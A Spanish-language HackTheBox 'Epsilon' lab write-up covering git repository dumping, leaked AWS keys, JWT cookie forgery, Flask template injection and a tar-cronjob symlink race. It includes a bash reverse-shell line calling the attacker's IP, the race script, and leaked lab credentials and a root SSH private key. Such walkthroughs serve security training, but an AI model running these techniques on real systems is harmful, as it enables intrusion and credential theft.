HackTheBox - Epsilon (medium)
- Epsilon is a medium difficulty Linux machine which exposes a Git repository on the webserver. AWS credentials are leaked in Git commits, which allows downloading the AWS Lambda function code. Secret key found in the source code can be used to forge a cookie to gain access to the web application. Foothold is obtained by exploiting the Server Side Template Injection vulnerability in the application feature. Abusing the tar symlink in a cronjob gives root access.
PortScan
❯ sudo nmap -sCV -p22,80,5000 10.10.11.134 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 18:13 CST
Nmap scan report for 10.10.11.134
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración
- En la pagina web principal obtenemos un código de estado
403
.
❯ curl -s http://10.10.11.134
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.134 Port 80</address>
</body></html>
- Si lo hacemos al puerto 5000 si nos responde.
❯ curl -s http://10.10.11.134:5000
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Costume Shop</title>
- Como vemos no tenemos acceso.
- En el puerto 5000 si podemos ver la web.
- Después de probar varias
querys
para ver si es vulnerable a unaSQL Injection
no tuve éxito,Nmap
nos reporto un.git
pero antes vamos a hacerfuzzing
para ver si encontramos algo.
❯ feroxbuster -u http://10.10.11.134:5000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.134:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 4l 34w 232c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 4l 24w 208c http://10.10.11.134:5000/home => http://10.10.11.134:5000/
200 GET 545l 2833w 217381c http://10.10.11.134:5000/static/img/costume.jpg
200 GET 205l 358w 3550c http://10.10.11.134:5000/
302 GET 4l 24w 208c http://10.10.11.134:5000/order => http://10.10.11.134:5000/
200 GET 234l 454w 4288c http://10.10.11.134:5000/track
200 GET 565l 3002w 320823c http://10.10.11.134:5000/static/img/ico.png
[####################] - 3m 30006/30006 0s found:6 errors:3
[####################] - 3m 30000/30000 187/s http://10.10.11.134:5000/
-
Las rutas order y track son interesantes así que vamos a ir a track.
-
Estamos como el Admin.
- Si ponemos cualquier numero en el campo ID nos redirige al panel de login eso quiere decir que debemos estar logeados correctamente para acceder.
Git Enumeration
- Como vimos el
.git
expuesto vamos a enumerarlo https://pypi.org/project/git-dumper/.
❯ git-dumper http://10.10.11.134/.git .
[-] Testing http://10.10.11.134/.git/HEAD [200]
[-] Testing http://10.10.11.134/.git/ [403]
[-] Fetching common files
[-] Fetching http://10.10.11.134/.gitignore [404]
[-] http://10.10.11.134/.gitignore responded with status code 404
[-] Fetching http://10.10.11.134/.git/description [200]
[-] Fetching http://10.10.11.134/.git/hooks/commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/COMMIT_EDITMSG [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-commit.sample [404]
[-] http://10.10.11.134/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/post-receive.sample [404]
[-] http://10.10.11.134/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/update.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-update.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-receive.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://10.10.11.134/.git/objects/info/packs [404]
[-] http://10.10.11.134/.git/objects/info/packs responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/pre-commit.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-push.sample [200]
[-] Fetching http://10.10.11.134/.git/info/exclude [200]
[-] Fetching http://10.10.11.134/.git/index [200]
[-] Finding refs/
[-] Fetching http://10.10.11.134/.git/FETCH_HEAD [404]
[-] http://10.10.11.134/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/ORIG_HEAD [200]
[-] Fetching http://10.10.11.134/.git/HEAD [200]
[-] Fetching http://10.10.11.134/.git/info/refs [404]
[-] http://10.10.11.134/.git/info/refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/config [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/HEAD [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/stash [404]
[-] http://10.10.11.134/.git/logs/refs/stash responded with status code 404
[-] Fetching http://10.10.11.134/.git/packed-refs [404]
[-] http://10.10.11.134/.git/packed-refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/master [404]
[-] Fetching http://10.10.11.134/.git/refs/stash [404]
[-] http://10.10.11.134/.git/refs/stash responded with status code 404
[-] http://10.10.11.134/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/index/refs/heads/master [404]
[-] http://10.10.11.134/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/master [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://10.10.11.134/.git/objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91 [200]
[-] Fetching http://10.10.11.134/.git/objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d [200]
[-] Fetching http://10.10.11.134/.git/objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e [200]
[-] Fetching http://10.10.11.134/.git/objects/c5/1441640fd25e9fba42725147595b5918eba0f1 [200]
[-] Fetching http://10.10.11.134/.git/objects/5c/52105750831385d4756111e1103957ac599d02 [200]
[-] Fetching http://10.10.11.134/.git/objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630 [200]
[-] Fetching http://10.10.11.134/.git/objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0 [200]
[-] Fetching http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] Fetching http://10.10.11.134/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
[-] http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://10.10.11.134/.git/objects/65/b80f62da28254f67f0bea392057fd7d2330e2d [200]
[-] Fetching http://10.10.11.134/.git/objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8 [200]
[-] Fetching http://10.10.11.134/.git/objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca [200]
[-] Fetching http://10.10.11.134/.git/objects/b5/f4c99c772eeb629e53d284275458d75ed9a010 [200]
[-] Fetching http://10.10.11.134/.git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34 [200]
[-] Fetching http://10.10.11.134/.git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca [200]
[-] Running git checkout .
- Existe otra herramienta que se llama GitHack https://github.com/lijiejie/GitHack/tree/master.
❯ pip3 install GitHack
Defaulting to user installation because normal site-packages is not writeable
Collecting GitHack
Downloading githack-0.0.4.post1-py3-none-any.whl.metadata (2.0 kB)
Downloading githack-0.0.4.post1-py3-none-any.whl (54 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 54.2/54.2 kB 579.0 kB/s eta 0:00:00
Installing collected packages: GitHack
Successfully installed GitHack-0.0.4.post1
❯ githack http://10.10.11.134/.git/
- Tenemos el proyecto.
❯ ls -la
total 20
drwxr-xr-x 3 miguel miguel 4096 Jul 4 18:31 .
drwxr-xr-x 6 miguel miguel 4096 Jul 4 18:09 ..
drwxr-xr-x 7 miguel miguel 4096 Jul 4 18:31 .git
-rw-r--r-- 1 miguel miguel 1670 Jul 4 18:31 server.py
-rw-r--r-- 1 miguel miguel 1099 Jul 4 18:31 track_api_CR_148.py
- Este es el código en Python3 donde corre el puerto
5000
.
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
- En
server.py
podemos ver que verifica eljwt
podemos crear uno pero en estos casos necesitamos elsecret
para que esa valido el problema es que no lo tenemos.
- Si vemos el otro código ya se esta empleando AWS https://aws.amazon.com/es/what-is-aws/.
❯ cat track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
- Además se esta empleando lambda en Python3 es una función anónima pero vemos que si tiene algo que ver con AWS.
AWS Lambda
-
Para podemos enumerar este servicio necesitamos instalar
AWS
en nuestro equipo. -
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/AWS%20Amazon%20Bucket%20S3.
-
https://docs.aws.amazon.com/es_es/cli/latest/userguide/getting-started-install.html.
❯ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
❯ unzip awscliv2.zip
❯ sudo ./aws/install
[sudo] password for miguel:
You can now run: /usr/local/bin/aws --version
- Ahora si ya lo tenemos instalado.
❯ aws -h
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: command
-
En el script de Python3 donde nos hablaban de AWS y lambda nos dieron un subdominio el cual es el
endpoint_url
. -
Vamos agregarlo al
/etc/hosts
.
❯ echo "10.10.11.134 cloud.epsilon.htb epsilon.htb" | sudo tee -a /etc/hosts
10.10.11.134 cloud.epsilon.htb epsilon.htb
- Para enumerar el servicio necesitamos una key así que vamos a enumerar el repositorio para ver si en algún momento la clave si estaba antes.
❯ git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000
Fixed Typo
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000
Updatig Tracking API
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
- Vamos a inspeccionar este.
❯ git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
- Vemos la información que necesitamos.
aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
- Vamos a configurar todo.
❯ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]: json
-
Ahora vamos a conectarnos al
endpoint
. -
Y agregamos lo de lambda para ver las funciones.
❯ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2024-07-05T00:05:15.900+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d44f236b-458b-4d09-9fb3-dcabbb784baa",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
- Vemos que hay un
.zip
de la funcióncostume_shop_v1
vamos a ver mas información.
❯ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1 | jq
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2024-07-05T00:05:15.900+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d44f236b-458b-4d09-9fb3-dcabbb784baa",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
- Tenemos la ubicación del archivo
.zip
vamos a descargarlo.
❯ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
--2024-07-04 18:56:30-- http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
Resolving cloud.epsilon.htb (cloud.epsilon.htb)... 10.10.11.134
Connecting to cloud.epsilon.htb (cloud.epsilon.htb)|10.10.11.134|:80... connected.
HTTP request sent, awaiting response... 200
Length: 478 [application/zip]
Saving to: ‘code’
code 100%[=================================================>] 478 --.-KB/s in 0s
2024-07-04 18:56:30 (6.00 MB/s) - ‘code’ saved [478/478]
❯ file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate
❯ mv code code.zip
- Vemos un script en python3.
❯ unzip code.zip
Archive: code.zip
inflating: lambda_function.py
- Tenemos un secret.
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
-
Como se usa
JWT
lo mas probable es que sea elsecret
que necesitamos que vimos en el secret.py cuando enumeramos el.git
. -
Ahora que tenemos el
secret
podemos construir el JWT basándonos en el script que nos comparten la sintaxis https://pyjwt.readthedocs.io/en/stable/.
❯ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> jwt.encode({'username': 'admin'}, 'RrXCv`mrNe!K!4+5`wYq', algorithm="HS256")
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4'
- Ahora vamos a incorporarla como una
cookie
.
- Si vamos ala ruta
/home
vemos que ya no nos lleva al panel delogin
por que estamos conectados.
- Vamos a crear una orden
- Como esta corriendo flask por detrás como vimos en el script de Python3 y podemos ver el output de algo que podemos ver por pantalla puede ser vulnerable a SSTI vamos capturar la petición con Burpsuite al darle click a order para enumerar https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection.
- Vemos que se crea.
- Si cambiamos el nombre del
costume
vemos que funciona.
- Vamos a comprobar si es vulnerable con la típica operación de 7x7 si vemos el resultado reflejado sabremos que es vulnerable https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection.
-
Vemos que podemos ejecutar comandos como nos dicen en Payload All the Things.
-
Tenemos RCE.
Shell as Tom
- Vamos a enviarnos una reverse
shell
a nuestro equipo.
❯ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.63/443 0>&1
- Vamos hacer una petición para ver si la recibimos.
- La recibimos.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.134 - - [04/Jul/2024 19:25:17] "GET / HTTP/1.1" 200 -
- Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...
- Recibimos la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.134] 37428
bash: cannot set terminal process group (991): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ whoami
whoami
tom
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
[1] + 30566 suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + 30566 continued nc -nlvp 443
reset xterm
ENTER
tom@epsilon:/var/www/app$ export TERM=xterm
- Si analizamos el código
app.py
podemos ver las credenciales para podernos logearnos al panel de login.
tom@epsilon:/var/www/app$ cat app.py
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = 'RrXCv`mrNe!K!4+5`wYq'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="4d_09@fhgRTdws2":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run('0.0.0.0',5000)
- Si las probamos
admin:4d_09@fhgRTdws2
funcionan.
Escalada de privilegios
- Vemos el
pkexec
pero lo vamos a explotar https://github.com/ly4k/PwnKit.
tom@epsilon:/$ find \-perm -4000 2>/dev/null
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/openssh/ssh-keysign
./usr/bin/mount
./usr/bin/sudo
./usr/bin/pkexec
./usr/bin/gpasswd
./usr/bin/umount
./usr/bin/passwd
./usr/bin/fusermount
./usr/bin/chsh
./usr/bin/at
./usr/bin/chfn
./usr/bin/newgrp
./usr/bin/su
-
Vamos a enumerar tareas cron https://github.com/DominicBreuker/pspy/releases.
-
Si lo ejecutamos encontramos un
backup.sh
.
- Este es el codigo.
tom@epsilon:/dev/shm$ cat cat /usr/bin/backup.sh
cat: cat: No such file or directory
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
- Podemos ver lo
.tar
.
tom@epsilon:/dev/shm$ ls -l /var/backups/web_backups
total 3920
-rw-r--r-- 1 root root 1003520 Jul 5 01:35 095722698.tar
-rw-r--r-- 1 root root 1003520 Jul 5 01:36 111519042.tar
-rw-r--r-- 1 root root 1003520 Jul 5 01:37 125049838.tar
-rw-r--r-- 1 root root 1003520 Jul 5 01:38 140228143.tar
-
Vamos a irnos a la ruta
/tmp
y crearemos un script.sh y le daremos permisos de ejecución. -
Vamos a crear el archivo
/opt/backups/checksum
después lo vamos a borrar para hacer un enlace a/root/.ssh/id_rsa
y secuestrarlo.
tom@epsilon:/tmp$ cat zi.sh
#!/bin/bash
while true; do
if [ -e /opt/backups/checksum ]; then
rm /opt/backups/checksum
ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
break
fi
done
tom@epsilon:/tmp$ chmod +x zi.sh
-
Esperamos unos minutos a que se ejecute la tarea.
-
Vamos a descomprimir el mas nuevo.
tom@epsilon:/tmp$ ./zi.sh
^C
tom@epsilon:/tmp$ cd /var/backups/web_backups/
tom@epsilon:/var/backups/web_backups$ ls -l
total 980
-rw-r--r-- 1 root root 1003520 Jul 5 01:50 311632114.tar
tom@epsilon:/var/backups/web_backups$ cp 311632114.tar /tmp
tom@epsilon:/var/backups/web_backups$ cd /tmp
tom@epsilon:/tmp$ tar -xf 311632114.tar
tom@epsilon:/opt/backups$ cd /tmp/opt/backups/
- Vemos la id_rsa.
tom@epsilon:/tmp/opt/backups$ cat checksum
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
tom@epsilon:/tmp/opt/backups$
